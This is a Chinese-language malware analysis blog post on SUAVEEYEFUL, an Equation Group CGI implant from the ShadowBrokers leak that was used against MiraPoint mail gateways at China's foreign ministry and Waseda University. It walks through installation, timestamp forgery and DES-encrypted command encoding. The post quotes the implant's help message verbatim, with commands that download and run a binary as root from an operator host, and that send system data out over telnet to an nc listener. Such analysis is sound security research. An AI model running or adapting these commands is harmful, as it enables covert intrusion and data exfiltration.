方程式组织被遗忘的SUAVEEYEFUL FreeBSD软件植入工具分析

本文深入分析了方程式组织的SUAVEEYEFUL软件植入工具,该工具针对FreeBSD和Linux系统,用于监控中国外交部和日本早稻田大学的电子邮件流量,具有创新的加密技术和无文件恶意软件特征。

被遗忘的SUAVEEYEFUL FreeBSD软件植入工具:方程式组织作品

我在查看2017年ShadowBrokers泄露文件时注意到,其中一个方程式组织工具至今没有公开的参考文献/分析(至少据我所知)。因此,本文将介绍这个软件植入工具的功能和工作原理。该工具位于名为suaveeyeful_i386-unknown-mirapoint3.4.3的目录中,揭示了许多有趣的细节。

总结:

  • SUAVEEYEFUL是一个针对FreeBSD和Linux的CGI软件植入工具
  • SUAVEEYEFUL自2000年代初起就被用于监视中国外交部和日本早稻田研究大学的电子邮件流量
  • 泄露的文件/操作针对MiraPoint电子邮件产品
  • SUAVEEYEFUL在当时具有创新的TTPs,如数据加密和无文件恶意软件

泄露文件

该目录中包含几个不同的文件:

  • bdes:FreeBSD bdes命令行工具的副本(使用DES加密/解密的工具),基于FreeBSD bdes版本1.3.2.1(来自2000年9月22日),但于2003年在Linux上编译
  • decode-base64:使用MIME::Base64的简单Perl解码脚本
  • implant:SUAVEEYEFUL的ELF二进制软件植入组件,为FreeBSD 4.3版本构建(该版本于2001年4月发布)
  • implant.mg1.waseda.ac.jp:针对日本早稻田研究大学电子邮件网关使用的SUAVEEYEFUL ELF二进制软件植入组件(implant文件的变体)
  • opscript.se:在日本早稻田研究大学安装SUAVEEYEFUL(缩写为SE)软件植入工具需要执行的命令
  • se:SUAVEEYEFUL软件植入工具的客户端组件,用Bash编写。此副本硬编码了日本早稻田研究大学的目标
  • se.old:SUAVEEYEFUL软件植入工具客户端的先前版本,用Bash编写。此副本硬编码了中国外交部电子邮件网关的目标
  • uriescape:使用URI::Escape的简单Perl脚本

这些实用程序(bdes、decode-base64和uriescape)与SUAVEEYEFUL捆绑在一起,因为它们在内部使用。这确保了软件植入工具不依赖任何外部依赖项(除了当时默认的核心系统实用程序,如ls、cat、telnet等)

目标

se.old客户端可能是操作员为其新目标进行调整的工具。这是因为其内容存在不一致之处,使其看起来像是旧操作的草稿/编辑版本。一个残留的注释将mail.mfa.gov.cn(202.99.26.6)标识为其配置的SUAVEEYEFUL目标。

这是中国外交部(MFA)的电子邮件网关。即使在今天,此IP地址(202.99.26.6)仍指向中国外交部的电子邮件服务器。很难确定方程式组织何时使用SUAVEEYEFUL软件植入工具入侵此电子邮件服务器。完全基于构建时间,我们可以评估至少自2000年代初以来。

泄露目录中包含的大多数文件都是为另一个目标设计的。早稻田研究大学的电子邮件网关,根据其官方网站,“致力于进行解决世界问题并为社会更大利益做出贡献的前沿研究。非正统思维和智力好奇心是驱动早稻田研究的动力。”

se客户端配置了两个被入侵的早稻田电子邮件网关,两者都通过另一台被入侵主机的内部IP地址访问,仅通过其IP地址引用。因此,至少自2003年以来,方程式组织入侵了早稻田基础设施中的至少3个系统。

  • mp450(10.1.2.208)
  • mg1.waseda.ac.jp(10.9.4.15)
  • 10.1.2.150 - 另一个被入侵的主机

顶级主机(mp450)是大学的MiraPoint 450(后来更名为RazorGate 450),一个电子邮件安全设备。另一个主机(mg1.waseda.ac.jp)是MiraPoint电子邮件网关。第三个主机仍然未知,但基于其IP范围(类似于mp450),我们可以推断它可能是位于大学DMZ网段的系统。

在早稻田MiraPoint服务器上安装SUAVEEYEFUL

这在opscript.se文件中有清晰描述,我们可以假设这是方程式组织操作员安装SUAVEEYEFUL软件植入工具执行的首批操作任务之一。以下是该过程:

  1. 将implant复制到/var/www/data/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi文件
  2. 将nph-help.cgi的文件权限更改为555
  3. 将nph-help.cgi的所有权更改为"root",组为"nobody"
  4. 使用touch -r确保文件nph-help.cgi以及/var/www/data/help/apps/locale/ja_JP.utf-8/utilities/目录下的任何内容都具有与合法的MiraPoint Web服务/var/www/data/help/apps/locale/ja_JP.utf-8/utilities/publish.html相同的时间戳
  5. 使用netcat开始在444端口监听,使用Base64解码接收的数据,并使用bdes使用硬编码密钥(在这种情况下为0x4790cae5ec154ccc)解密它们
  6. 从mp450的SUAVEEYEFUL植入工具回连到监听4444端口,并提供一些基本的系统信息(谁登录、列出文件/目录等)

SUAVEEYEFUL软件植入工具

SUAVEEYEFUL(或SE)有两个组件:客户端和服务器。服务器组件是一个非常简单的用C语言为FreeBSD编写的CGI程序,在其帮助端点寻找输入。任何接收到的命令都将使用system()库调用执行(具有root权限,如前一节所示),只要它们匹配定义的格式(在本文后面描述)。

客户端确保所有请求都正确请求、编码(使用Base64)和加密(使用DES)。客户端支持4个选项:

  • -h:显示帮助消息
  • -c:执行命令
  • -i:输入目标(例如运行SE服务器组件的主机URL)
  • -k:用于DES加密的密钥

从这一点我们可以看到,对于加密材料的生成,方程式组织使用系统的/dev/random,方式如下:

1
head -c 8 /dev/random | hexdump -e '/8 \"0x%016x\n\"'

然后使用#作为分隔符构造命令。要执行的主要命令使用以下方式构造:

1
echo "`head -c 8 /dev/random | hexdump -e '/8 "%016x\n"'`#`date +"%s"`#$cmd"|bdes -k $key > out

这导致了一个看起来像这样的格式:

然后使用硬编码的DES密钥加密此结构,并通过uriescape工具传递,以确保接收MiraPoint Web服务器不会出现解析问题。

除了上述内容,客户端还使用date +"%N"命令获取纳秒级日期,并使用匹配相同值的密钥加密。这是一个反分析/反检测技巧,因为如果没有这个非直观的添加,任何人都很难让SE软件植入工具执行任何命令。

最后,SE帮助消息显示了操作员可以使用的三个示例命令的说明。这三个帮助命令执行以下任务:

  1. 安装无文件恶意软件

    • 创建隐藏目录(/tmp/.scsi
    • 使用curl从操作主机(10.1.2.150:5555/sendmail)下载欺骗性命名为sendmail的二进制文件
    • 以root身份运行sendmail并回连到操作主机的不同端口(10.1.2.150:9999)
    • 删除sendmail二进制文件,使其仅在内存中运行,而不是从文件系统运行
  2. 使用回连方法执行命令

    • 运行w,然后是ls -l和ls -l /tmp以获取登录用户以及当前和/tmp目录的内容
    • 加密和编码输出
    • 将其发送到操作主机的监听端口(10.1.2.150:4444)
    • 消息还指导操作员如何生成新的DES加密密钥
  3. 与#2相同但没有Base64编码和DES加密

以下是完整的帮助消息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
1) se -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/curl http://10.1.2.150:5555/sendmail -osendmail;chmod +x sendmail;D=-c10.1.2.150:9999 PATH=. /usr/bin/asroot sendmail;rm -f sendmail) > /dev/null 2>&1" -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 

2) se -c"(w; ls -l; ls -l /tmp) | bdes -k SECRET | mmencode | telnet 10.1.2.150 4444"  -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 
  with nc -l -p 4444 | decode-base64 | bdes -d -k SECRET

Use this to generate a random key and replace SECRET with the key
  head -c 8 /dev/random | hexdump -e '/8 "0x%016x\n"'

3) se -c"(w; ls -l; ls -l /tmp) | telnet 10.1.2.150 4444"  -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 
  with nc -l -p 4444
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计